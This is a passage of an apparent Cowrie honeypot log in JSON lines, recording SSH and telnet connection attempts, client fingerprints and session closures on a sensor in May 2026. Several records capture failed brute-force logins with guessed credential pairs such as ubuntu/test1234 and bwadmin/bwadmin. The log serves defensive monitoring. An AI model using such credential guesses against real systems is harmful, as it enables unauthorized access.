a2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:05.736717Z","src_ip":"150.95.157.171","session":"b192d341d612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"testmail","message":"login attempt [mailtest/testmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:06.366241Z","src_ip":"150.95.157.171","session":"b192d341d612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56838,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b997ab6e0c1","protocol":"telnet","message":"New connection: 134.209.8.29:56838 (159.203.135.109:23) [session: 9b997ab6e0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:06.702118Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":57478,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f527558bb81","protocol":"telnet","message":"New connection: 66.111.11.103:57478 (159.203.135.109:23) [session: 8f527558bb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:07.197062Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:07.531500Z","src_ip":"150.95.157.171","session":"b192d341d612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":60352,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab616c1337cf","protocol":"telnet","message":"New connection: 66.111.11.103:60352 (159.203.135.109:23) [session: ab616c1337cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:08.013182Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33408,"dst_ip":"159.203.135.109","dst_port":23,"session":"10a2ecb7982d","protocol":"telnet","message":"New connection: 66.111.11.103:33408 (159.203.135.109:23) [session: 10a2ecb7982d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:09.747870Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33566,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd4a55b15c3","protocol":"telnet","message":"New connection: 66.111.11.103:33566 (159.203.135.109:23) [session: 6fd4a55b15c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:10.934829Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":34934,"dst_ip":"159.203.135.109","dst_port":23,"session":"446f3920283b","protocol":"telnet","message":"New connection: 66.111.11.103:34934 (159.203.135.109:23) [session: 446f3920283b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:11.744435Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53792,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fb230da8a0b","protocol":"telnet","message":"New connection: 134.209.8.29:53792 (159.203.135.109:23) [session: 2fb230da8a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:12.241368Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33372,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b0184ab11b6","protocol":"telnet","message":"New connection: 66.111.11.103:33372 (159.203.135.109:23) [session: 4b0184ab11b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:12.706218Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53808,"dst_ip":"159.203.135.109","dst_port":23,"session":"7735bdcb1b25","protocol":"telnet","message":"New connection: 134.209.8.29:53808 (159.203.135.109:23) [session: 7735bdcb1b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:13.767535Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":52680,"dst_ip":"10.17.0.5","dst_port":22,"session":"52caa80c4d91","protocol":"ssh","message":"New connection: 148.216.28.11:52680 (10.17.0.5:22) [session: 52caa80c4d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:13.853024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:13.858234Z","src_ip":"148.216.28.11","session":"52caa80c4d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:13.923301Z","src_ip":"148.216.28.11","session":"52caa80c4d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bwadmin","password":"bwadmin","message":"login attempt [bwadmin/bwadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:14.213850Z","src_ip":"148.216.28.11","session":"52caa80c4d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":36888,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dccbe498377","protocol":"telnet","message":"New connection: 66.111.11.103:36888 (159.203.135.109:23) [session: 4dccbe498377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:14.290464Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"b96f18265aa8","protocol":"telnet","message":"New connection: 66.111.11.103:36946 (159.203.135.109:23) [session: b96f18265aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:14.395515Z"}
{"eventid":"cowrie.session.closed","duration":2.5845813751220703,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:14.825818Z","src_ip":"134.209.8.29","session":"2fb230da8a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:15.281905Z","src_ip":"148.216.28.11","session":"52caa80c4d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":37936,"dst_ip":"159.203.135.109","dst_port":23,"session":"7997f9ecf3d7","protocol":"telnet","message":"New connection: 66.111.11.103:37936 (159.203.135.109:23) [session: 7997f9ecf3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:15.597292Z"}
{"eventid":"cowrie.session.closed","duration":45.744858264923096,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:15.751203Z","src_ip":"134.209.8.29","session":"205197c3b314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":38118,"dst_ip":"159.203.135.109","dst_port":23,"session":"c18b396a72ec","protocol":"telnet","message":"New connection: 66.111.11.103:38118 (159.203.135.109:23) [session: c18b396a72ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:15.852540Z"}
{"eventid":"cowrie.session.closed","duration":9.214072942733765,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:15.916067Z","src_ip":"134.209.8.29","session":"9b997ab6e0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":38298,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b97e32c734","protocol":"telnet","message":"New connection: 66.111.11.103:38298 (159.203.135.109:23) [session: d6b97e32c734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:16.089408Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ceefae867d9","protocol":"telnet","message":"New connection: 66.111.11.103:39702 (159.203.135.109:23) [session: 5ceefae867d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:17.785322Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":39706,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec49c7aebaf","protocol":"telnet","message":"New connection: 66.111.11.103:39706 (159.203.135.109:23) [session: 9ec49c7aebaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:17.789989Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":38918,"dst_ip":"159.203.135.109","dst_port":23,"session":"854f38976a3f","protocol":"telnet","message":"New connection: 66.111.11.103:38918 (159.203.135.109:23) [session: 854f38976a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:17.845983Z"}
{"eventid":"cowrie.session.closed","duration":4.154036283493042,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:17.921446Z","src_ip":"134.209.8.29","session":"7735bdcb1b25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":37908,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cc9655ce58f","protocol":"telnet","message":"New connection: 66.111.11.103:37908 (159.203.135.109:23) [session: 9cc9655ce58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:18.540836Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":40640,"dst_ip":"159.203.135.109","dst_port":23,"session":"b42918d40e92","protocol":"telnet","message":"New connection: 66.111.11.103:40640 (159.203.135.109:23) [session: b42918d40e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:18.921870Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53822,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a96843b3dbb","protocol":"telnet","message":"New connection: 134.209.8.29:53822 (159.203.135.109:23) [session: 4a96843b3dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:19.944897Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41692,"dst_ip":"159.203.135.109","dst_port":23,"session":"7af481698100","protocol":"telnet","message":"New connection: 66.111.11.103:41692 (159.203.135.109:23) [session: 7af481698100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.236448Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41690,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4b7fbaa86b3","protocol":"telnet","message":"New connection: 66.111.11.103:41690 (159.203.135.109:23) [session: c4b7fbaa86b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.240402Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41812,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d07f41b2f0","protocol":"telnet","message":"New connection: 66.111.11.103:41812 (159.203.135.109:23) [session: 26d07f41b2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.426906Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41998,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d02979af5b6","protocol":"telnet","message":"New connection: 66.111.11.103:41998 (159.203.135.109:23) [session: 1d02979af5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.678639Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41268,"dst_ip":"159.203.135.109","dst_port":23,"session":"03638de7316c","protocol":"telnet","message":"New connection: 66.111.11.103:41268 (159.203.135.109:23) [session: 03638de7316c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.731158Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41270,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bfe1628443a","protocol":"telnet","message":"New connection: 66.111.11.103:41270 (159.203.135.109:23) [session: 3bfe1628443a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.735397Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41276,"dst_ip":"159.203.135.109","dst_port":23,"session":"17671500f0fc","protocol":"telnet","message":"New connection: 66.111.11.103:41276 (159.203.135.109:23) [session: 17671500f0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.739977Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":42240,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc9870fa2f3","protocol":"telnet","message":"New connection: 66.111.11.103:42240 (159.203.135.109:23) [session: 6fc9870fa2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:20.968923Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41698,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5d8f0dd3e89","protocol":"telnet","message":"New connection: 66.111.11.103:41698 (159.203.135.109:23) [session: e5d8f0dd3e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.242088Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":42656,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a9d753a4463","protocol":"telnet","message":"New connection: 66.111.11.103:42656 (159.203.135.109:23) [session: 4a9d753a4463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.455168Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54604,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57f5b7055a2","protocol":"ssh","message":"New connection: 194.59.206.2:54604 (10.17.0.5:22) [session: b57f5b7055a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.543652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.548806Z","src_ip":"194.59.206.2","session":"b57f5b7055a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.651844Z","src_ip":"194.59.206.2","session":"b57f5b7055a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":42882,"dst_ip":"159.203.135.109","dst_port":23,"session":"38220b9d0568","protocol":"telnet","message":"New connection: 66.111.11.103:42882 (159.203.135.109:23) [session: 38220b9d0568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.726434Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.745804Z","src_ip":"194.59.206.2","session":"b57f5b7055a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":43114,"dst_ip":"159.203.135.109","dst_port":23,"session":"c36e3649990d","protocol":"telnet","message":"New connection: 66.111.11.103:43114 (159.203.135.109:23) [session: c36e3649990d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:21.945150Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":40778,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae93b8ee87e4","protocol":"telnet","message":"New connection: 66.111.11.103:40778 (159.203.135.109:23) [session: ae93b8ee87e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:22.101689Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"6834ee2e1ee6","protocol":"telnet","message":"New connection: 134.209.8.29:57196 (159.203.135.109:23) [session: 6834ee2e1ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:22.485394Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":44040,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b028cae25bf","protocol":"telnet","message":"New connection: 66.111.11.103:44040 (159.203.135.109:23) [session: 2b028cae25bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:23.054043Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":50054,"dst_ip":"10.17.0.5","dst_port":22,"session":"787d112590f3","protocol":"ssh","message":"New connection: 34.135.200.178:50054 (10.17.0.5:22) [session: 787d112590f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:24.173475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:24.178610Z","src_ip":"34.135.200.178","session":"787d112590f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":44120,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b3c23ce710","protocol":"telnet","message":"New connection: 66.111.11.103:44120 (159.203.135.109:23) [session: d5b3c23ce710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:24.182382Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:24.214242Z","src_ip":"34.135.200.178","session":"787d112590f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test1234","message":"login attempt [ubuntu/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:24.391117Z","src_ip":"34.135.200.178","session":"787d112590f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":45242,"dst_ip":"159.203.135.109","dst_port":23,"session":"c857af4a52f9","protocol":"telnet","message":"New connection: 66.111.11.103:45242 (159.203.135.109:23) [session: c857af4a52f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:24.608511Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":45730,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e31ef3d91a","protocol":"telnet","message":"New connection: 66.111.11.103:45730 (159.203.135.109:23) [session: d6e31ef3d91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.062596Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":45734,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16c6fe14c2b","protocol":"telnet","message":"New connection: 66.111.11.103:45734 (159.203.135.109:23) [session: f16c6fe14c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.068817Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":44882,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c6573a98614","protocol":"telnet","message":"New connection: 66.111.11.103:44882 (159.203.135.109:23) [session: 7c6573a98614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.204965Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":44924,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb082c1a139","protocol":"telnet","message":"New connection: 66.111.11.103:44924 (159.203.135.109:23) [session: 8cb082c1a139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.276342Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.429723Z","src_ip":"34.135.200.178","session":"787d112590f3","protocol":"ssh"}
